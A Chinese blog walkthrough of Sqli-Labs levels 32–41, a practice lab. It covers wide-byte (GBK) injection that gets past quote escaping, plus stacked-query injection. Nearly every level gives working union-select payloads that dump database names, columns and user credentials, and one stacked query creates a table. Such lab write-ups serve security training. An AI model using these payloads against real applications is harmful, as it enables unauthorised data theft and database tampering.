Sqli-Labs 闯关 less 32-41

Less 32 

这一关涉及到了一个新的知识点——宽字节注入。

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

具体可参考链接:https://blog.csdn.net/helloc0de/article/details/76180190

URL编码的解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

爆库:?id=-1%E6' union select 1,version(),database() --+

 

 'user'用十六进制编码替代,

爆列: ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

 

 爆用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

 

 

Less 33

这一关是使用函数过滤。而上一关用的是自定义过滤。

跟上一关用一样的代码就好

 

 

Less 34

这一关绕过添加斜杠,用的也是前两个post的方法。

获取数据库版本和名:uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit

 

 

获取用户名密码:uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

 

 

 爆列名的时候要注意'users'的转义。。。和前面两关一样

 

Less 35

 

这一关测试的时候发现,id没有数据包裹,直接注入就好。

爆库:?id=-1 union select 1,version(),database()--+

 

 爆表:id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

 爆列:?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#(注意user的转义)

 

 爆用户名密码:?id=-1  union select 1,2,group_concat(username,0x7e,password) from users--+

 

 

Less 36

 

这关与前面的区别就是使用的转义函数不一样,也可以使用前面的宽字节注入解决或者utf-16 。

(宽字节)获得用户名密码:?id=0%df'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 (utf-16)获得用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

 

 

Less 37

这一关和34关类似,都是post的形式。。

爆库名:uname=admin%df%27 or 1=2 union select 1,database()#&passwd=1&submit=Submit

 

 爆用户名密码:uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

 

Less 38

这一关用到了堆叠注入,

从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。

而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。

union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

具体可以自行百度一哈。。。

 

我们可以用联合查询爆出数据:

 

 但是这一关是要我们堆叠注入。。。

新建表:  ?id=1';create table qiyuan like users;%23

 

查表:?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

 

 

 我们发现我们新建的表就可以查到了。。

 

Less 39

跟38关一样。就是没有单引号的闭合。。不再陈述

 

Less 40

跟38关一样。加了个括号。

我在这把这几关命令放这了:

爆库:  union select 1,version(),database() %23

爆表:  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

爆列:   union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

爆用户名密码: union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

 

Less 41

跟39关一样,错误不回显。

 

posted @ 2020-02-11 19:19  戚源  阅读(174)  评论(0编辑  收藏  举报